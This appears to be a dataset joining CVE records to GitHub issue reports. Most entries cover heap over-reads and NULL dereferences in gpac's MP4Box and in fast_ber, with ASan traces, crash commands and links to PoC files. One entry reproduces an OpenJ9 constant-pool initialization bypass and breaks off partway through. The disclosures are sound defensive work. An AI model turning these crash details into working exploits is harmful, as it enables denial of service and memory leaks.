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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2020-23921 | 2021-04-21T18:15:08.307 | An issue was discovered in fast_ber through v0.4. yy::yylex() in asn_compiler.hpp has a heap-based buffer over-read. | {
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"baseScore": 5.8,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:P",
"version": "2.0"
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"impactScore": 4.9,
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"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
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"Samuel-Tyler",
"fast_ber"
] | ## System info
Ubuntu x86_64, gcc, fast_ber_compiler (latest master [7262b5](https://github.com/Samuel-Tyler/fast_ber/commit/7262b54ef4cd47c8be544c2b67511af9bfe6f005))
## Configure
cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
## Command line
./build_cmake/src/fast_ber_compiler @@ /tmp/fastber
## AddressSanitizer output
```
=================================================================
==15839==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61500000fee1 at pc 0x0000004cd964 bp 0x7ffc3afd8830 sp 0x7ffc3afd8820
READ of size 1 at 0x61500000fee1 thread T0
#0 0x4cd963 in yy::yylex(Context&) /home/styler/git/fast_ber/build_debug/src/autogen/asn_compiler.hpp:11676
#1 0x4ecd8b in yy::asn1_parser::parse() /home/styler/git/fast_ber/build_debug/src/autogen/asn_compiler.re:7571
#2 0x45eb31 in main /home/seviezhou/fastber/src/compiler_main/CompilerMain.cpp:481
#3 0x7f68aedde83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#4 0x469968 in _start (/home/seviezhou/fastber/build_cmake/src/fast_ber_compiler+0x469968)
0x61500000fee1 is located 0 bytes to the right of 481-byte region [0x61500000fd00,0x61500000fee1)
allocated by thread T0 here:
#0 0x7f68afd42532 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
#1 0x5829dd in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<std::istreambuf_iterator<char, std::char_traits<char> > >(std::istreambuf_iterator<char, std::char_traits<char> >, std::istreambuf_iterator<char, std::char_traits<char> >, std::input_iterator_tag) /usr/include/c++/5/bits/basic_string.tcc:188
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/styler/git/fast_ber/build_debug/src/autogen/asn_compiler.hpp:11676 yy::yylex(Context&)
Shadow bytes around the buggy address:
0x0c2a7fff9f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff9fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff9fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2a7fff9fd0: 00 00 00 00 00 00 00 00 00 00 00 00[01]fa fa fa
0x0c2a7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fffa000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==15839==ABORTING
```
## POC
[heap-overflow-yylex-asn_compiler-11676.zip](https://github.com/Samuel-Tyler/fast_ber/files/5041436/heap-overflow-yylex-asn_compiler-11676.zip)
| A heap-buffer-overflow in asn_compiler.hpp:11676 | https://api.github.com/repos/Samuel-Tyler/fast_ber/issues/30/comments | 3 | 2020-08-07T12:52:04Z | 2020-08-07T14:34:15Z | https://github.com/Samuel-Tyler/fast_ber/issues/30 | 674,995,233 | 30 | 1,873 |
CVE-2020-23928 | 2021-04-21T18:15:08.383 | An issue was discovered in gpac before 1.0.1. The abst_box_read function in box_code_adobe.c has a heap-based buffer over-read. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 5.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:P",
"version": "2.0"
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"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
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"gpac",
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Ubuntu x86_64, gcc (Ubuntu 5.5.0-12ubuntu1), MP4Box (latest master [2aa266](https://github.com/gpac/gpac/commit/2aa266dfaab6aaad9f9f4f216ad7d1e62adc7fa0))
## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box
## Command line
./bin/gcc/MP4Box -diso -out /dev/null @@
## AddressSanitizer output
```
=================================================================
==24631==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000e114 at pc 0x7f2a609a93d5 bp 0x7ffe7daf8840 sp 0x7ffe7daf7fe8
READ of size 5 at 0x60200000e114 thread T0
#0 0x7f2a609a93d4 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x623d4)
#1 0x55979e0874b7 in abst_box_read isomedia/box_code_adobe.c:124
#2 0x55979de76b64 in gf_isom_box_read isomedia/box_funcs.c:1681
#3 0x55979de76b64 in gf_isom_box_parse_ex isomedia/box_funcs.c:259
#4 0x55979de78041 in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x55979deaf6f5 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:259
#6 0x55979deba951 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:247
#7 0x55979deba951 in gf_isom_open_file isomedia/isom_intern.c:740
#8 0x55979d7e47e3 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5331
#9 0x7f2a5f973b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55979d7b5f09 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x27ff09)
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allocated by thread T0 here:
#0 0x7f2a609df612 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98612)
#1 0x55979e0853a9 in abst_box_read isomedia/box_code_adobe.c:97
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 strdup
Shadow bytes around the buggy address:
0x0c047fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 02 fa
=>0x0c047fff9c20: fa fa[04]fa fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9c30: fa fa 00 00 fa fa 00 00 fa fa fd fa fa fa 00 fa
0x0c047fff9c40: fa fa 00 00 fa fa 00 00 fa fa 00 07 fa fa fd fa
0x0c047fff9c50: fa fa 00 02 fa fa 04 fa fa fa fd fa fa fa 07 fa
0x0c047fff9c60: fa fa fd fa fa fa 05 fa fa fa fd fa fa fa 00 fa
0x0c047fff9c70: fa fa fd fa fa fa 07 fa fa fa fd fa fa fa 07 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==24631==ABORTING
```
## POC
[heap-overflow-abst_box_read-box_code_adobe-124.zip](https://github.com/gpac/gpac/files/5039356/heap-overflow-abst_box_read-box_code_adobe-124.zip)
| A heap-buffer-overflow in box_code_adobe.c:124 | https://api.github.com/repos/gpac/gpac/issues/1568/comments | 0 | 2020-08-07T04:41:36Z | 2020-09-01T15:10:21Z | https://github.com/gpac/gpac/issues/1568 | 674,752,234 | 1,568 | 1,874 |
CVE-2020-23928 | 2021-04-21T18:15:08.383 | An issue was discovered in gpac before 1.0.1. The abst_box_read function in box_code_adobe.c has a heap-based buffer over-read. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 5.8,
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"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
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## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box
## Command line
./bin/gcc/MP4Box -diso -out /dev/null @@
## AddressSanitizer output
```
=================================================================
==73339==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000e2d3 at pc 0x7f61cb5fc3d5 bp 0x7ffc8913b6b0 sp 0x7ffc8913ae58
READ of size 20 at 0x60300000e2d3 thread T0
#0 0x7f61cb5fc3d4 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x623d4)
#1 0x56330736c407 in abst_box_read isomedia/box_code_adobe.c:141
#2 0x56330715bb64 in gf_isom_box_read isomedia/box_funcs.c:1681
#3 0x56330715bb64 in gf_isom_box_parse_ex isomedia/box_funcs.c:259
#4 0x56330715d041 in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x5633071946f5 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:259
#6 0x56330719f951 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:247
#7 0x56330719f951 in gf_isom_open_file isomedia/isom_intern.c:740
#8 0x563306ac97e3 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5331
#9 0x7f61ca5c6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x563306a9af09 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x27ff09)
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allocated by thread T0 here:
#0 0x7f61cb632612 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98612)
#1 0x56330736a3a9 in abst_box_read isomedia/box_code_adobe.c:97
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 strdup
Shadow bytes around the buggy address:
0x0c067fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff9c50: fa fa fa fa fa fa fa fa 00 00[03]fa fa fa 00 00
0x0c067fff9c60: 04 fa fa fa 00 00 00 07 fa fa 00 00 00 fa fa fa
0x0c067fff9c70: 00 00 00 06 fa fa 00 00 00 fa fa fa 00 00 00 fa
0x0c067fff9c80: fa fa 00 00 00 07 fa fa 00 00 00 fa fa fa 00 00
0x0c067fff9c90: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
0x0c067fff9ca0: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==73339==ABORTING
```
## POC
[heap-overflow-abst_box_read-box_code_adobe-141.zip](https://github.com/gpac/gpac/files/5042085/heap-overflow-abst_box_read-box_code_adobe-141.zip)
| A heap-buffer-overflow in box_code_adobe.c:141 | https://api.github.com/repos/gpac/gpac/issues/1569/comments | 1 | 2020-08-07T14:53:11Z | 2020-09-01T15:16:27Z | https://github.com/gpac/gpac/issues/1569 | 675,069,002 | 1,569 | 1,875 |
CVE-2020-23930 | 2021-04-21T18:15:08.417 | An issue was discovered in gpac through 20200801. A NULL pointer dereference exists in the function nhmldump_send_header located in write_nhml.c. It allows an attacker to cause Denial of Service. | {
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"gpac",
"gpac"
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Ubuntu x86_64, gcc (Ubuntu 5.5.0-12ubuntu1), MP4Box (latest master [2aa266](https://github.com/gpac/gpac/commit/2aa266dfaab6aaad9f9f4f216ad7d1e62adc7fa0))
## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box
## Command line
./bin/gcc/MP4Box -dxml -x3d -diod -latm -keep-utc -out /dev/null @@
## Output
```
Scene loaded - dumping root scene
Exporting MPEG-4 AAC Audio - SampleRate 44100 2 channels 16 bits per sample
Segmentation fault (core dumped)
```
## AddressSanitizer output
```
ASAN:SIGSEGV
=================================================================
==1506==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x557beddb309a bp 0x0c2200000636 sp 0x7fff536d0ac0 T0)
#0 0x557beddb3099 in nhmldump_send_header filters/write_nhml.c:401
#1 0x557beddb3099 in nhmldump_process filters/write_nhml.c:864
#2 0x557bed884315 in gf_filter_process_task filter_core/filter.c:2158
#3 0x557bed82e4dd in gf_fs_thread_proc filter_core/filter_session.c:1463
#4 0x557bed8403fe in gf_fs_run filter_core/filter_session.c:1700
#5 0x557bed4e3171 in gf_media_export_filters media_tools/media_export.c:1391
#6 0x557beca503df in dump_isom_xml /home/seviezhou/gpac/applications/mp4box/filedump.c:1733
#7 0x557beca20fa4 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5548
#8 0x7f4b75f6fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x557bec9fef09 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x27ff09)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV filters/write_nhml.c:401 nhmldump_send_header
==1506==ABORTING
```
## POC
[SEGV-nhmldump_send_header-write_nhml-401.zip](https://github.com/gpac/gpac/files/5038990/SEGV-nhmldump_send_header-write_nhml-401.zip)
| A Segmentation fault in write_nhml.c:401 | https://api.github.com/repos/gpac/gpac/issues/1565/comments | 1 | 2020-08-07T02:28:14Z | 2020-09-01T14:46:28Z | https://github.com/gpac/gpac/issues/1565 | 674,711,009 | 1,565 | 1,876 |
CVE-2020-23931 | 2021-04-21T18:15:08.460 | An issue was discovered in gpac before 1.0.1. The abst_box_read function in box_code_adobe.c has a heap-based buffer over-read. | {
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"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:P",
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## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address -ldl" ./configure --static-mp4box
## Command line
./bin/gcc/MP4Box -diso -out /dev/null @@
## AddressSanitizer output
```
=================================================================
==18613==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000e11c at pc 0x7f33b3f553d5 bp 0x7ffd678545b0 sp 0x7ffd67853d58
READ of size 13 at 0x60200000e11c thread T0
#0 0x7f33b3f553d4 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x623d4)
#1 0x559646e8d0b7 in abst_box_read isomedia/box_code_adobe.c:109
#2 0x559646cffd84 in gf_isom_box_read isomedia/box_funcs.c:1681
#3 0x559646cffd84 in gf_isom_box_parse_ex isomedia/box_funcs.c:259
#4 0x559646d01871 in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x559646d30bf6 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:259
#6 0x559646d3a6c2 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:247
#7 0x559646d3a6c2 in gf_isom_open_file isomedia/isom_intern.c:740
#8 0x559646897b30 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5331
#9 0x7f33b2f1fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55964685e179 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x78179)
0x60200000e11c is located 0 bytes to the right of 12-byte region [0x60200000e110,0x60200000e11c)
allocated by thread T0 here:
#0 0x7f33b3f8b612 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98612)
#1 0x559646e895e3 in abst_box_read isomedia/box_code_adobe.c:97
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 strdup
Shadow bytes around the buggy address:
0x0c047fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9c20: fa fa 00[04]fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff9c30: fa fa 00 00 fa fa 00 00 fa fa fd fa fa fa 00 fa
0x0c047fff9c40: fa fa 00 00 fa fa 00 00 fa fa 00 07 fa fa fd fa
0x0c047fff9c50: fa fa 00 02 fa fa 04 fa fa fa fd fa fa fa 07 fa
0x0c047fff9c60: fa fa fd fa fa fa 05 fa fa fa fd fa fa fa 00 fa
0x0c047fff9c70: fa fa fd fa fa fa 07 fa fa fa fd fa fa fa 07 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==18613==ABORTING
```
## POC
[heap-overflow-abst_box_read-box_code_adobe-109.zip](https://github.com/gpac/gpac/files/5038865/heap-overflow-abst_box_read-box_code_adobe-109.zip)
| A heap-buffer-overflow in box_code_adobe.c:109 | https://api.github.com/repos/gpac/gpac/issues/1564/comments | 1 | 2020-08-07T01:48:18Z | 2020-09-01T14:43:15Z | https://github.com/gpac/gpac/issues/1564 | 674,698,771 | 1,564 | 1,877 |
CVE-2020-23931 | 2021-04-21T18:15:08.460 | An issue was discovered in gpac before 1.0.1. The abst_box_read function in box_code_adobe.c has a heap-based buffer over-read. | {
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## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box
## Command line
./bin/gcc/MP4Box -diso -out /dev/null @@
## AddressSanitizer output
```
=================================================================
==38343==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000ec94 at pc 0x7f6ebd7a53d5 bp 0x7ffd9261d2c0 sp 0x7ffd9261ca68
READ of size 53 at 0x60600000ec94 thread T0
#0 0x7f6ebd7a53d4 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x623d4)
#1 0x562152c228bf in abst_box_read isomedia/box_code_adobe.c:155
#2 0x562152a11b64 in gf_isom_box_read isomedia/box_funcs.c:1681
#3 0x562152a11b64 in gf_isom_box_parse_ex isomedia/box_funcs.c:259
#4 0x562152a13041 in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x562152a4a6f5 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:259
#6 0x562152a55951 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:247
#7 0x562152a55951 in gf_isom_open_file isomedia/isom_intern.c:740
#8 0x56215237f7e3 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5331
#9 0x7f6ebc76fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x562152350f09 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x27ff09)
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allocated by thread T0 here:
#0 0x7f6ebd7db612 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98612)
#1 0x562152c203a9 in abst_box_read isomedia/box_code_adobe.c:97
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 strdup
Shadow bytes around the buggy address:
0x0c0c7fff9d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa 00 00 00 00
=>0x0c0c7fff9d90: 00 00[04]fa fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c7fff9da0: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c0c7fff9db0: 00 00 00 00 00 00 00 03 fa fa fa fa 00 00 00 00
0x0c0c7fff9dc0: 00 00 02 fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c0c7fff9dd0: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0c7fff9de0: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==38343==ABORTING
```
## POC
[heap-overflow-abst_box_read-box_code_adobe-155.zip](https://github.com/gpac/gpac/files/5039343/heap-overflow-abst_box_read-box_code_adobe-155.zip)
| A heap-buffer-overflow in box_code_adobe.c:155 | https://api.github.com/repos/gpac/gpac/issues/1567/comments | 1 | 2020-08-07T04:38:51Z | 2020-09-01T15:06:33Z | https://github.com/gpac/gpac/issues/1567 | 674,751,358 | 1,567 | 1,878 |
CVE-2020-23932 | 2021-04-21T18:15:08.497 | An issue was discovered in gpac before 1.0.1. A NULL pointer dereference exists in the function dump_isom_sdp located in filedump.c. It allows an attacker to cause Denial of Service. | {
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] | 476 | https://github.com/gpac/gpac/issues/1566 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | ## System info
Ubuntu x86_64, gcc (Ubuntu 5.5.0-12ubuntu1), MP4Box (latest master [2aa266](https://github.com/gpac/gpac/commit/2aa266dfaab6aaad9f9f4f216ad7d1e62adc7fa0))
## Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box
## Command line
./bin/gcc/MP4Box -sdp -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null @@
## Output
```
Scene loaded - dumping root scene
Exporting MPEG-4 AAC Audio - SampleRate 44100 2 channels 16 bits per sample
Segmentation fault (core dumped)
```
## AddressSanitizer output
```
ASAN:SIGSEGV
=================================================================
==31981==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1269c005a1 bp 0x000000000000 sp 0x7fffad3ba678 T0)
#0 0x7f1269c005a0 (/lib/x86_64-linux-gnu/libc.so.6+0x18e5a0)
#1 0x7f1269af1204 in fputs (/lib/x86_64-linux-gnu/libc.so.6+0x7f204)
#2 0x55eb9834073a in dump_isom_sdp /home/seviezhou/gpac/applications/mp4box/filedump.c:1627
#3 0x55eb98311eb3 in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5533
#4 0x7f1269a93b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x55eb982eff09 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x27ff09)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
==31981==ABORTING
```
## POC
[SEGV-dump_isom_sdp-filedump-1627.zip](https://github.com/gpac/gpac/files/5039113/SEGV-dump_isom_sdp-filedump-1627.zip)
| A Segmentation fault in filedump.c:1627 | https://api.github.com/repos/gpac/gpac/issues/1566/comments | 0 | 2020-08-07T03:10:20Z | 2020-09-01T15:10:21Z | https://github.com/gpac/gpac/issues/1566 | 674,723,890 | 1,566 | 1,879 |
CVE-2021-28167 | 2021-04-21T18:15:08.793 | In Eclipse Openj9 to version 0.25.0, usage of the jdk.internal.reflect.ConstantPool API causes the JVM in some cases to pre-resolve certain constant pool entries. This allows a user to call static methods or access static members without running the class initialization method, and may allow a user to observe uninitialized values. | {
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"eclipse",
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] | ```
openjdk version "1.8.0_282"
OpenJDK Runtime Environment (build 1.8.0_282-b08)
Eclipse OpenJ9 VM (build openj9-0.24.0, JRE 1.8.0 Windows 8.1 amd64-64-Bit 20210120_560 (JIT enabled, AOT enabled)
OpenJ9 - 345e1b09e
OMR - 741e94ea8
JCL - ab07c6a8fd based on jdk8u282-b08)
```
Considering test cases below:
- **Test Case 1**
```java
import java.util.Arrays;
import java.util.function.Consumer;
import sun.misc.SharedSecrets;
import sun.reflect.ConstantPool;
public class Main {
public static void main(String[] args) {
Consumer<Object> consumer = Test::test;
ConstantPool cp = SharedSecrets.getJavaLangAccess().getConstantPool(consumer.getClass());
for (int i = cp.getSize() - 1; i >= 0; i--) {
try {
System.out.println("index: " + i + ", method: " + cp.getMethodAtIfLoaded(i) + ", info: " + Arrays.toString(cp.getMemberRefInfoAt(i)));
} catch (Throwable ignored) {
}
}
Test.test(null);
System.out.println(Test.a);
}
public static class Test {
public static boolean a = false;
static {
System.out.println("<clinit> was invoked");
throwException();
}
public static void throwException() {
throw new RuntimeException();
}
public static void test(Object o) {
System.out.println("test was invoked");
}
}
}
```
In this case, `Test` class will throw an exception in `<clinit>`, then run with OpenJ9 and Hotspot respectively. The result is:
```
--- OpenJ9 ---
index: 5, method: null, info: [Main$Test, test, (Ljava/lang/Object;)V]
index: 2, method: public java.lang.Object(), info: [java/lang/Object, <init>, ()V]
test was invoked
<clinit> was invoked
Exception in thread "main" java.lang.ExceptionInInitializerError
at java.lang.J9VMInternals.ensureError(J9VMInternals.java:146)
at java.lang.J9VMInternals.recordInitializationFailure(J9VMInternals.java:135)
at Main.main(Main.java:19)
Caused by: java.lang.RuntimeException
at Main$Test.throwException(Main.java:31)
at Main$Test.<clinit>(Main.java:27)
... 1 more
--- Hotspot ---
index: 18, method: public static void Main$Test.test(java.lang.Object), info: [Main$Test, test, (Ljava/lang/Object;)V]
index: 10, method: public java.lang.Object(), info: [java/lang/Object, <init>, ()V]
<clinit> was invoked
Exception in thread "main" java.lang.ExceptionInInitializerError
at Main.main(Main.java:18)
Caused by: java.lang.RuntimeException
at Main$Test.throwException(Main.java:31)
at Main$Test.<clinit>(Main.java:27)
... 1 more
```
We will find that, with OpenJ9, `<clinit>` won't be invoked when `Test.test` being invoked and until `Test.a` was acquired.
We can also find that OpenJ9 can't get the method by `cp.getMethodAtIfLoaded(i)` but Hotspot can.
- **Test Case 2**
If we change `cp.getMethodAtIfLoaded(i)` to `cp.getMethodAt(i)`, there will be more different behaviors between OpenJ9 and Hotspot
```java
import java.util.Arrays;
import java.util.function.Consumer;
import sun.misc.SharedSecrets;
import sun.reflect.ConstantPool;
public class Main {
public static void main(String[] args) {
Consumer<Object> consumer = Test::test;
ConstantPool cp = SharedSecrets.getJavaLangAccess().getConstantPool(consumer.getClass());
for (int i = cp.getSize() - 1; i >= 0; i--) {
try {
System.out.println("index: " + i + ", method: " + cp.getMethodAt(i) + ", info: " + Arrays.toString(cp.getMemberRefInfoAt(i)));
} catch (Throwable ignored) {
}
}
Test.test(null);
System.out.println(Test.a);
}
public static class Test {
public static boolean a = false;
static {
System.out.println("<clinit> was invoked");
throwException();
}
public static void throwException() {
throw new RuntimeException();
}
public static void test(Object o) {
System.out.println("test was invoked");
}
}
}
```
Result:
```
--- OpenJ9 ---
<clinit> was invoked
index: 5, method: null, info: [Main$Test, test, (Ljava/lang/Object;)V]
index: 2, method: public java.lang.Object(), info: [java/lang/Object, <init>, ()V]
test was invoked
Exception in thread "main" java.lang.NoClassDefFoundError: Main$Test (initialization failure)
at java.lang.J9VMInternals.initializationAlreadyFailed(J9VMInternals.java:96)
at Main.main(Main.java:19)
Caused by: java.lang.RuntimeException
at Main$Test.throwException(Main.java:31)
at Main$Test.<clinit>(Main.java:27)
at sun.reflect.ConstantPool.getMethodAt0(Native Method)
at sun.reflect.ConstantPool.getMethodAt(ConstantPool.java:41)
at Main.main(Main.java:13)
--- Hotspot ---
index: 18, method: public static void Main$Test.test(java.lang.Object), info: [Main$Test, test, (Ljava/lang/Object;)V]
index: 10, method: public java.lang.Object(), info: [java/lang/Object, <init>, ()V]
<clinit> was invoked
Exception in thread "main" java.lang.ExceptionInInitializerError
at Main.main(Main.java:18)
Caused by: java.lang.RuntimeException
at Main$Test.throwException(Main.java:31)
at Main$Test.<clinit>(Main.java:27)
... 1 more
```
We will find that `<clinit>` was invoked at `cp.getMethodAt(i)` with OpenJ9 and still unable to get the `Test.test` method.
- **Test Case 3**
If `Test` class no longer throws an exception:
```java
import java.util.Arrays;
import java.util.function.Consumer;
import sun.misc.SharedSecrets;
